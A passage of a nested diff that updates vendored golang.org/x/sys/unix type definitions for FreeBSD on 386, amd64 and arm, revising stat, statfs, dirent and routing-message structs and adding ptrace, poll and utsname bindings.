-+type stat_freebsd11_t struct {
-+ Dev uint32
-+ Ino uint32
-+ Mode uint16
-+ Nlink uint16
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Btim Timespec
-+ _ [8]byte
- }
-
- type Statfs_t struct {
-@@ -114,9 +128,34 @@ type Statfs_t struct {
- Owner uint32
- Fsid Fsid
- Charspare [80]int8
-- Fstypename [16]int8
-- Mntfromname [88]int8
-- Mntonname [88]int8
-+ Fstypename [16]byte
-+ Mntfromname [1024]byte
-+ Mntonname [1024]byte
-+}
-+
-+type statfs_freebsd11_t struct {
-+ Version uint32
-+ Type uint32
-+ Flags uint64
-+ Bsize uint64
-+ Iosize uint64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail int64
-+ Files uint64
-+ Ffree int64
-+ Syncwrites uint64
-+ Asyncwrites uint64
-+ Syncreads uint64
-+ Asyncreads uint64
-+ Spare [10]uint64
-+ Namemax uint32
-+ Owner uint32
-+ Fsid Fsid
-+ Charspare [80]int8
-+ Fstypename [16]byte
-+ Mntfromname [88]byte
-+ Mntonname [88]byte
- }
-
- type Flock_t struct {
-@@ -129,6 +168,17 @@ type Flock_t struct {
- }
-
- type Dirent struct {
-+ Fileno uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Pad0 uint8
-+ Namlen uint16
-+ Pad1 uint16
-+ Name [256]int8
-+}
-+
-+type dirent_freebsd11 struct {
- Fileno uint32
- Reclen uint16
- Type uint8
-@@ -140,6 +190,10 @@ type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- const (
- FADV_NORMAL = 0x0
- FADV_RANDOM = 0x1
-@@ -270,11 +324,108 @@ const (
- )
-
- const (
-- PTRACE_TRACEME = 0x0
-- PTRACE_CONT = 0x7
-- PTRACE_KILL = 0x8
-+ PTRACE_ATTACH = 0xa
-+ PTRACE_CONT = 0x7
-+ PTRACE_DETACH = 0xb
-+ PTRACE_GETFPREGS = 0x23
-+ PTRACE_GETFSBASE = 0x47
-+ PTRACE_GETLWPLIST = 0xf
-+ PTRACE_GETNUMLWPS = 0xe
-+ PTRACE_GETREGS = 0x21
-+ PTRACE_GETXSTATE = 0x45
-+ PTRACE_IO = 0xc
-+ PTRACE_KILL = 0x8
-+ PTRACE_LWPEVENTS = 0x18
-+ PTRACE_LWPINFO = 0xd
-+ PTRACE_SETFPREGS = 0x24
-+ PTRACE_SETREGS = 0x22
-+ PTRACE_SINGLESTEP = 0x9
-+ PTRACE_TRACEME = 0x0
-+)
-+
-+const (
-+ PIOD_READ_D = 0x1
-+ PIOD_WRITE_D = 0x2
-+ PIOD_READ_I = 0x3
-+ PIOD_WRITE_I = 0x4
-+)
-+
-+const (
-+ PL_FLAG_BORN = 0x100
-+ PL_FLAG_EXITED = 0x200
-+ PL_FLAG_SI = 0x20
-+)
-+
-+const (
-+ TRAP_BRKPT = 0x1
-+ TRAP_TRACE = 0x2
- )
-
-+type PtraceLwpInfoStruct struct {
-+ Lwpid int32
-+ Event int32
-+ Flags int32
-+ Sigmask Sigset_t
-+ Siglist Sigset_t
-+ Siginfo __Siginfo
-+ Tdname [20]int8
-+ Child_pid int32
-+ Syscall_code uint32
-+ Syscall_narg uint32
-+}
-+
-+type __Siginfo struct {
-+ Signo int32
-+ Errno int32
-+ Code int32
-+ Pid int32
-+ Uid uint32
-+ Status int32
-+ Addr *byte
-+ Value [4]byte
-+ _ [32]byte
-+}
-+
-+type Sigset_t struct {
-+ Val [4]uint32
-+}
-+
-+type Reg struct {
-+ Fs uint32
-+ Es uint32
-+ Ds uint32
-+ Edi uint32
-+ Esi uint32
-+ Ebp uint32
-+ Isp uint32
-+ Ebx uint32
-+ Edx uint32
-+ Ecx uint32
-+ Eax uint32
-+ Trapno uint32
-+ Err uint32
-+ Eip uint32
-+ Cs uint32
-+ Eflags uint32
-+ Esp uint32
-+ Ss uint32
-+ Gs uint32
-+}
-+
-+type FpReg struct {
-+ Env [7]uint32
-+ Acc [8][10]uint8
-+ Ex_sw uint32
-+ Pad [64]uint8
-+}
-+
-+type PtraceIoDesc struct {
-+ Op int32
-+ Offs *byte
-+ Addr *byte
-+ Len uint32
-+}
-+
- type Kevent_t struct {
- Ident uint32
- Filter int16
-@@ -285,7 +436,7 @@ type Kevent_t struct {
- }
-
- type FdSet struct {
-- X__fds_bits [32]uint32
-+ Bits [32]uint32
- }
-
- const (
-@@ -301,53 +452,52 @@ const (
- )
-
- type ifMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data ifData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
-+ Data ifData
- }
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ Data IfData
- }
-
- type ifData struct {
-- Type uint8
-- Physical uint8
-- Addrlen uint8
-- Hdrlen uint8
-- Link_state uint8
-- Vhid uint8
-- Datalen uint16
-- Mtu uint32
-- Metric uint32
-- Baudrate uint64
-- Ipackets uint64
-- Ierrors uint64
-- Opackets uint64
-- Oerrors uint64
-- Collisions uint64
-- Ibytes uint64
-- Obytes uint64
-- Imcasts uint64
-- Omcasts uint64
-- Iqdrops uint64
-- Oqdrops uint64
-- Noproto uint64
-- Hwassist uint64
-- X__ifi_epoch [8]byte
-- X__ifi_lastchange [16]byte
-+ Type uint8
-+ Physical uint8
-+ Addrlen uint8
-+ Hdrlen uint8
-+ Link_state uint8
-+ Vhid uint8
-+ Datalen uint16
-+ Mtu uint32
-+ Metric uint32
-+ Baudrate uint64
-+ Ipackets uint64
-+ Ierrors uint64
-+ Opackets uint64
-+ Oerrors uint64
-+ Collisions uint64
-+ Ibytes uint64
-+ Obytes uint64
-+ Imcasts uint64
-+ Omcasts uint64
-+ Iqdrops uint64
-+ Oqdrops uint64
-+ Noproto uint64
-+ Hwassist uint64
-+ _ [8]byte
-+ _ [16]byte
- }
-
- type IfData struct {
-@@ -379,24 +529,24 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
- }
-
- type IfAnnounceMsghdr struct {
-@@ -409,19 +559,19 @@ type IfAnnounceMsghdr struct {
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Fmask int32
-- Inits uint32
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ uint16
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Fmask int32
-+ Inits uint32
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -478,18 +628,18 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp Timeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
- type BpfZbufHeader struct {
- Kernel_gen uint32
- Kernel_len uint32
- User_gen uint32
-- X_bzh_pad [5]uint32
-+ _ [5]uint32
- }
-
- type Termios struct {
-@@ -516,6 +666,44 @@ const (
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLINIGNEOF = 0x2000
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type CapRights struct {
- Rights [2]uint64
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Spare int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_freebsd_amd64.go
-index c65d89e4..e11e9549 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_freebsd_amd64.go
-@@ -6,11 +6,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -57,40 +57,50 @@ type Rlimit struct {
- type _Gid_t uint32
-
- const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
-+ _statfsVersion = 0x20140518
-+ _dirblksiz = 0x400
- )
-
- type Stat_t struct {
-- Dev uint32
-- Ino uint32
-- Mode uint16
-- Nlink uint16
-- Uid uint32
-- Gid uint32
-- Rdev uint32
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Birthtimespec Timespec
-+ Dev uint64
-+ Ino uint64
-+ Nlink uint64
-+ Mode uint16
-+ _0 int16
-+ Uid uint32
-+ Gid uint32
-+ _1 int32
-+ Rdev uint64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint64
-+ Spare [10]uint64
-+}
-+
-+type stat_freebsd11_t struct {
-+ Dev uint32
-+ Ino uint32
-+ Mode uint16
-+ Nlink uint16
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Btim Timespec
- }
-
- type Statfs_t struct {
-@@ -113,22 +123,58 @@ type Statfs_t struct {
- Owner uint32
- Fsid Fsid
- Charspare [80]int8
-- Fstypename [16]int8
-- Mntfromname [88]int8
-- Mntonname [88]int8
-+ Fstypename [16]byte
-+ Mntfromname [1024]byte
-+ Mntonname [1024]byte
-+}
-+
-+type statfs_freebsd11_t struct {
-+ Version uint32
-+ Type uint32
-+ Flags uint64
-+ Bsize uint64
-+ Iosize uint64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail int64
-+ Files uint64
-+ Ffree int64
-+ Syncwrites uint64
-+ Asyncwrites uint64
-+ Syncreads uint64
-+ Asyncreads uint64
-+ Spare [10]uint64
-+ Namemax uint32
-+ Owner uint32
-+ Fsid Fsid
-+ Charspare [80]int8
-+ Fstypename [16]byte
-+ Mntfromname [88]byte
-+ Mntonname [88]byte
- }
-
- type Flock_t struct {
-- Start int64
-- Len int64
-- Pid int32
-- Type int16
-- Whence int16
-- Sysid int32
-- Pad_cgo_0 [4]byte
-+ Start int64
-+ Len int64
-+ Pid int32
-+ Type int16
-+ Whence int16
-+ Sysid int32
-+ _ [4]byte
- }
-
- type Dirent struct {
-+ Fileno uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Pad0 uint8
-+ Namlen uint16
-+ Pad1 uint16
-+ Name [256]int8
-+}
-+
-+type dirent_freebsd11 struct {
- Fileno uint32
- Reclen uint16
- Type uint8
-@@ -140,6 +186,10 @@ type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- const (
- FADV_NORMAL = 0x0
- FADV_RANDOM = 0x1
-@@ -225,10 +275,8 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen int32
-- Pad_cgo_1 [4]byte
- Control *byte
- Controllen uint32
- Flags int32
-@@ -272,11 +320,115 @@ const (
- )
-
- const (
-- PTRACE_TRACEME = 0x0
-- PTRACE_CONT = 0x7
-- PTRACE_KILL = 0x8
-+ PTRACE_ATTACH = 0xa
-+ PTRACE_CONT = 0x7
-+ PTRACE_DETACH = 0xb
-+ PTRACE_GETFPREGS = 0x23
-+ PTRACE_GETFSBASE = 0x47
-+ PTRACE_GETLWPLIST = 0xf
-+ PTRACE_GETNUMLWPS = 0xe
-+ PTRACE_GETREGS = 0x21
-+ PTRACE_GETXSTATE = 0x45
-+ PTRACE_IO = 0xc
-+ PTRACE_KILL = 0x8
-+ PTRACE_LWPEVENTS = 0x18
-+ PTRACE_LWPINFO = 0xd
-+ PTRACE_SETFPREGS = 0x24
-+ PTRACE_SETREGS = 0x22
-+ PTRACE_SINGLESTEP = 0x9
-+ PTRACE_TRACEME = 0x0
-+)
-+
-+const (
-+ PIOD_READ_D = 0x1
-+ PIOD_WRITE_D = 0x2
-+ PIOD_READ_I = 0x3
-+ PIOD_WRITE_I = 0x4
-+)
-+
-+const (
-+ PL_FLAG_BORN = 0x100
-+ PL_FLAG_EXITED = 0x200
-+ PL_FLAG_SI = 0x20
-+)
-+
-+const (
-+ TRAP_BRKPT = 0x1
-+ TRAP_TRACE = 0x2
- )
-
-+type PtraceLwpInfoStruct struct {
-+ Lwpid int32
-+ Event int32
-+ Flags int32
-+ Sigmask Sigset_t
-+ Siglist Sigset_t
-+ Siginfo __Siginfo
-+ Tdname [20]int8
-+ Child_pid int32
-+ Syscall_code uint32
-+ Syscall_narg uint32
-+}
-+
-+type __Siginfo struct {
-+ Signo int32
-+ Errno int32
-+ Code int32
-+ Pid int32
-+ Uid uint32
-+ Status int32
-+ Addr *byte
-+ Value [8]byte
-+ _ [40]byte
-+}
-+
-+type Sigset_t struct {
-+ Val [4]uint32
-+}
-+
-+type Reg struct {
-+ R15 int64
-+ R14 int64
-+ R13 int64
-+ R12 int64
-+ R11 int64
-+ R10 int64
-+ R9 int64
-+ R8 int64
-+ Rdi int64
-+ Rsi int64
-+ Rbp int64
-+ Rbx int64
-+ Rdx int64
-+ Rcx int64
-+ Rax int64
-+ Trapno uint32
-+ Fs uint16
-+ Gs uint16
-+ Err uint32
-+ Es uint16
-+ Ds uint16
-+ Rip int64
-+ Cs int64
-+ Rflags int64
-+ Rsp int64
-+ Ss int64
-+}
-+
-+type FpReg struct {
-+ Env [4]uint64
-+ Acc [8][16]uint8
-+ Xacc [16][16]uint8
-+ Spare [12]uint64
-+}
-+
-+type PtraceIoDesc struct {
-+ Op int32
-+ Offs *byte
-+ Addr *byte
-+ Len uint64
-+}
-+
- type Kevent_t struct {
- Ident uint64
- Filter int16
-@@ -287,7 +439,7 @@ type Kevent_t struct {
- }
-
- type FdSet struct {
-- X__fds_bits [16]uint64
-+ Bits [16]uint64
- }
-
- const (
-@@ -303,53 +455,52 @@ const (
- )
-
- type ifMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data ifData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
-+ Data ifData
- }
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ Data IfData
- }
-
- type ifData struct {
-- Type uint8
-- Physical uint8
-- Addrlen uint8
-- Hdrlen uint8
-- Link_state uint8
-- Vhid uint8
-- Datalen uint16
-- Mtu uint32
-- Metric uint32
-- Baudrate uint64
-- Ipackets uint64
-- Ierrors uint64
-- Opackets uint64
-- Oerrors uint64
-- Collisions uint64
-- Ibytes uint64
-- Obytes uint64
-- Imcasts uint64
-- Omcasts uint64
-- Iqdrops uint64
-- Oqdrops uint64
-- Noproto uint64
-- Hwassist uint64
-- X__ifi_epoch [8]byte
-- X__ifi_lastchange [16]byte
-+ Type uint8
-+ Physical uint8
-+ Addrlen uint8
-+ Hdrlen uint8
-+ Link_state uint8
-+ Vhid uint8
-+ Datalen uint16
-+ Mtu uint32
-+ Metric uint32
-+ Baudrate uint64
-+ Ipackets uint64
-+ Ierrors uint64
-+ Opackets uint64
-+ Oerrors uint64
-+ Collisions uint64
-+ Ibytes uint64
-+ Obytes uint64
-+ Imcasts uint64
-+ Omcasts uint64
-+ Iqdrops uint64
-+ Oqdrops uint64
-+ Noproto uint64
-+ Hwassist uint64
-+ _ [8]byte
-+ _ [16]byte
- }
-
- type IfData struct {
-@@ -381,24 +532,24 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
- }
-
- type IfAnnounceMsghdr struct {
-@@ -411,19 +562,19 @@ type IfAnnounceMsghdr struct {
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Fmask int32
-- Inits uint64
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ uint16
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Fmask int32
-+ Inits uint64
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -468,9 +619,8 @@ type BpfZbuf struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -481,18 +631,18 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [6]byte
-+ Tstamp Timeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [6]byte
- }
-
- type BpfZbufHeader struct {
- Kernel_gen uint32
- Kernel_len uint32
- User_gen uint32
-- X_bzh_pad [5]uint32
-+ _ [5]uint32
- }
-
- type Termios struct {
-@@ -519,6 +669,44 @@ const (
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLINIGNEOF = 0x2000
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type CapRights struct {
- Rights [2]uint64
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Spare int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_freebsd_arm.go b/vendor/golang.org/x/sys/unix/ztypes_freebsd_arm.go
-index 42c0a502..6f79227d 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_freebsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_freebsd_arm.go
-@@ -6,11 +6,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -21,15 +21,15 @@ type (
- )
-
- type Timespec struct {
-- Sec int64
-- Nsec int32
-- Pad_cgo_0 [4]byte
-+ Sec int64
-+ Nsec int32
-+ _ [4]byte
- }
-
- type Timeval struct {
-- Sec int64
-- Usec int32
-- Pad_cgo_0 [4]byte
-+ Sec int64
-+ Usec int32
-+ _ [4]byte
- }
-
- type Rusage struct {
-@@ -59,43 +59,78 @@ type Rlimit struct {
- type _Gid_t uint32
-
- const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
-+ _statfsVersion = 0x20140518
-+ _dirblksiz = 0x400
- )
-
- type Stat_t struct {
-- Dev uint32
-- Ino uint32
-- Mode uint16
-- Nlink uint16
-- Uid uint32
-- Gid uint32
-- Rdev uint32
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Birthtimespec Timespec
-+ Dev uint64
-+ Ino uint64
-+ Nlink uint64
-+ Mode uint16
-+ _0 int16
-+ Uid uint32
-+ Gid uint32
-+ _1 int32
-+ Rdev uint64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint64
-+ Spare [10]uint64
-+}
-+
-+type stat_freebsd11_t struct {
-+ Dev uint32
-+ Ino uint32
-+ Mode uint16
-+ Nlink uint16
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Btim Timespec
- }
-
- type Statfs_t struct {
-+ Version uint32
-+ Type uint32
-+ Flags uint64
-+ Bsize uint64
-+ Iosize uint64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail int64
-+ Files uint64
-+ Ffree int64
-+ Syncwrites uint64
-+ Asyncwrites uint64
-+ Syncreads uint64
-+ Asyncreads uint64
-+ Spare [10]uint64
-+ Namemax uint32
-+ Owner uint32
-+ Fsid Fsid
-+ Charspare [80]int8
-+ Fstypename [16]int8
-+ Mntfromname [1024]int8
-+ Mntonname [1024]int8
-+}
-+
-+type statfs_freebsd11_t struct {
- Version uint32
- Type uint32
- Flags uint64
-@@ -121,16 +156,27 @@ type Statfs_t struct {
- }
-
- type Flock_t struct {
-- Start int64
-- Len int64
-- Pid int32
-- Type int16
-- Whence int16
-- Sysid int32
-- Pad_cgo_0 [4]byte
-+ Start int64
-+ Len int64
-+ Pid int32
-+ Type int16
-+ Whence int16
-+ Sysid int32
-+ _ [4]byte
- }
-
- type Dirent struct {
-+ Fileno uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Pad0 uint8
-+ Namlen uint16
-+ Pad1 uint16
-+ Name [256]int8
-+}
-+
-+type dirent_freebsd11 struct {
- Fileno uint32
- Reclen uint16
- Type uint8
-@@ -142,6 +188,10 @@ type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- const (
- FADV_NORMAL = 0x0
- FADV_RANDOM = 0x1
-@@ -272,11 +322,92 @@ const (
- )
-
- const (
-- PTRACE_TRACEME = 0x0
-- PTRACE_CONT = 0x7
-- PTRACE_KILL = 0x8
-+ PTRACE_ATTACH = 0xa
-+ PTRACE_CONT = 0x7
-+ PTRACE_DETACH = 0xb
-+ PTRACE_GETFPREGS = 0x23
-+ PTRACE_GETFSBASE = 0x47
-+ PTRACE_GETLWPLIST = 0xf
-+ PTRACE_GETNUMLWPS = 0xe
-+ PTRACE_GETREGS = 0x21
-+ PTRACE_GETXSTATE = 0x45
-+ PTRACE_IO = 0xc
-+ PTRACE_KILL = 0x8
-+ PTRACE_LWPEVENTS = 0x18
-+ PTRACE_LWPINFO = 0xd
-+ PTRACE_SETFPREGS = 0x24
-+ PTRACE_SETREGS = 0x22
-+ PTRACE_SINGLESTEP = 0x9
-+ PTRACE_TRACEME = 0x0
-+)
-+
-+const (
-+ PIOD_READ_D = 0x1
-+ PIOD_WRITE_D = 0x2
-+ PIOD_READ_I = 0x3
-+ PIOD_WRITE_I = 0x4
-+)
-+
-+const (
-+ PL_FLAG_BORN = 0x100
-+ PL_FLAG_EXITED = 0x200
-+ PL_FLAG_SI = 0x20
- )
-
-+const (
-+ TRAP_BRKPT = 0x1
-+ TRAP_TRACE = 0x2
-+)
-+
-+type PtraceLwpInfoStruct struct {
-+ Lwpid int32
-+ Event int32
-+ Flags int32
-+ Sigmask Sigset_t
-+ Siglist Sigset_t
-+ Siginfo __Siginfo
-+ Tdname [20]int8
-+ Child_pid int32
-+ Syscall_code uint32
-+ Syscall_narg uint32
-+}
-+
-+type __Siginfo struct {
-+ Signo int32
-+ Errno int32
-+ Code int32
-+ Pid int32
-+ Uid uint32
-+ Status int32
-+ Addr *byte
-+ Value [4]byte
-+ X_reason [32]byte
-+}
-+
-+type Sigset_t struct {
-+ Val [4]uint32
-+}
-+
-+type Reg struct {
-+ R [13]uint32
-+ R_sp uint32
-+ R_lr uint32
-+ R_pc uint32
-+ R_cpsr uint32
-+}
-+
-+type FpReg struct {
-+ Fpr_fpsr uint32
-+ Fpr [8][3]uint32
-+}
-+
-+type PtraceIoDesc struct {
-+ Op int32
-+ Offs *byte
-+ Addr *byte
-+ Len uint32
-+}
-+
- type Kevent_t struct {
- Ident uint32
- Filter int16
-@@ -287,7 +418,7 @@ type Kevent_t struct {
- }
-
- type FdSet struct {
-- X__fds_bits [32]uint32
-+ Bits [32]uint32
- }
-
- const (
-@@ -303,53 +434,53 @@ const (
- )
-
- type ifMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data ifData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data ifData
- }
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data IfData
- }
-
- type ifData struct {
-- Type uint8
-- Physical uint8
-- Addrlen uint8
-- Hdrlen uint8
-- Link_state uint8
-- Vhid uint8
-- Datalen uint16
-- Mtu uint32
-- Metric uint32
-- Baudrate uint64
-- Ipackets uint64
-- Ierrors uint64
-- Opackets uint64
-- Oerrors uint64
-- Collisions uint64
-- Ibytes uint64
-- Obytes uint64
-- Imcasts uint64
-- Omcasts uint64
-- Iqdrops uint64
-- Oqdrops uint64
-- Noproto uint64
-- Hwassist uint64
-- X__ifi_epoch [8]byte
-- X__ifi_lastchange [16]byte
-+ Type uint8
-+ Physical uint8
-+ Addrlen uint8
-+ Hdrlen uint8
-+ Link_state uint8
-+ Vhid uint8
-+ Datalen uint16
-+ Mtu uint32
-+ Metric uint32
-+ Baudrate uint64
-+ Ipackets uint64
